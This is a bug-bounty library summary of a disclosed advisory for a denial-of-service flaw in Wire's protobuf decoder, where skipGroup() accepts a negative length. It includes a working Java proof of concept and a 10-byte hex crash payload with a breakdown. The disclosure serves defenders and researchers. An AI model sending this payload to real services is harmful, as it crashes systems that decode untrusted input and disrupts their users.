# Wire: skipGroup() missing negative-length check allows 10-byte payload to crash any Wire-decoding service

Wire's skipGroup() skipped a LENGTH_DELIMITED field with a negative varint length, underflowing the read position and throwing ArrayIndexOutOfBoundsException, crashing any protobuf-decoding service.

- Payout: Research
- Severity: high
- Program: Wire
- Found by: TrekLaps, tal-sealsecurity
- Disclosed: 2026-05-19
- CVE: CVE-2026-45799
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-7xpr-hc2w-34m9
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-7xpr-hc2w-34m9
- Tags: area:oss domain:oss impact:dos kind:research platform:ghsa sev:high tech:java technique:incomplete-fix technique:source-review vuln:dos vuln:memory-corruption

**Target:** com.squareup.wire:wire-runtime protobuf decoder (ByteArrayProtoReader32.skipGroup)
**Root cause:** skipGroup() read a LENGTH_DELIMITED length as a signed Int and passed it to skip() without a non-negative check; skip() only rejected positions past the limit, so a negative count moved pos below zero. The next readByte() indexed the source at a negative position, throwing an unchecked ArrayIndexOutOfBoundsException outside the documented IOException boundary.
**Steps:**
1. Send an unknown field with wire type 3 (START_GROUP), e.g. field 99: `9b06`.
2. Inside the group, add a LENGTH_DELIMITED field with a varint encoding -128: `0a80ffffff0f`.
3. Close the group with END_GROUP: `9c06`.
4. Full 10-byte payload `9b060a80ffffff0f9c06` passed to `AnyMessage.ADAPTER.decode(payload)` triggers skipGroup -> skip(-128) -> pos underflow -> `ArrayIndexOutOfBoundsException: Index -120 out of bounds for length 10`.
**How found:** Reporter noticed Wire already rejected negative lengths in normal length-delimited decoding but the same validation was absent from group-skipping code, then traced skip()/readByte() position arithmetic to confirm the underflow.
**Exploitation:** Any service decoding untrusted protobuf with Wire and catching only IOException/ProtocolException crashes on the 10-byte payload; no schema knowledge needed since unknown START_GROUP fields always route through skipGroup().
**Insight:** When a parser validates a length in one code path, check every sibling path that consumes the same varint (group skipping, unknown-field handling, packed repeated) — duplicated parsing logic is where the check goes missing.

## Proof of concept (copied exactly from the original report)

**Java PoC decoding crafted 10-byte group payload**

```
// WirePoc.java
import com.squareup.wire.AnyMessage;

public class WirePoc {
  public static void main(String[] args) throws Exception {
    byte[] payload = new byte[] {
      (byte) 0x9B, 0x06,                                          // field 99, START_GROUP
      0x0A,                                                       // field 1, LENGTH_DELIMITED
      (byte) 0x80, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF, 0x0F,   // varint = -128
      (byte) 0x9C, 0x06                                           // field 99, END_GROUP
    };

    AnyMessage.ADAPTER.decode(payload);
  }
}
```

**Hex payload crashing any Wire decoder**

```
9b060a80ffffff0f9c06

Payload breakdown:

0x9B 0x06                 field 99, wire type 3 (START_GROUP)
0x0A                      field 1, wire type 2 (LENGTH_DELIMITED) inside group
0x80 0xFF 0xFF 0xFF 0x0F  5-byte varint = -128 as signed Int
0x9C 0x06                 field 99, END_GROUP
```

